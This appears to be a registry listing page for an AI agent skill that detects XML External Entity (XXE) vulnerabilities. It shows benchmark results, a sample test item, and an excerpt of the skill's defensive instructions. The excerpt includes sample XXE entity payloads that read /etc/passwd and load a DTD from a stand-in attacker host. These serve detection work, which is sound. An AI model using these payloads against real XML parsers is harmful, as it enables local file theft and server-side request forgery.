Install any skill in seconds. Free to start, no credit card required.
Get Started Free →utkusen/sast-xxe
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md.
Passed 19 of 22 test cases with the skill, and 16 of 22 without it.
and 2 more in the full report
3 fixed16 passed either way3 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 3 test cases the skill fixed. Same model, same prompt, with and without the skill.
After combining all batch analysis documents into `sast/xxe-results.md`, what file system cleanup operations must be executed?
| Checked | Without skill | With skill |
|---|---|---|
| deletes sast/xxe-recon.md upon completing the final report | Missed | Passed |
| deletes all batch markdown files upon completing the final report | Passed | Passed |
The instructions your model reads when the skill loads.
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).
Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.
SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd"><!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;http:// or https:// external entity URLs to reach internal servicesDo not flag these as XXE:
defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)When you see these patterns, the parser is likely not vulnerable:
1. Disabling DTD / external entities (Java DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
test cases passed, vs 16 / 22 without
Published skills whose descriptions closely match this one, with their headline benchmark lift.
More skills from the same source and nearby in the registry, with their headline benchmark lift.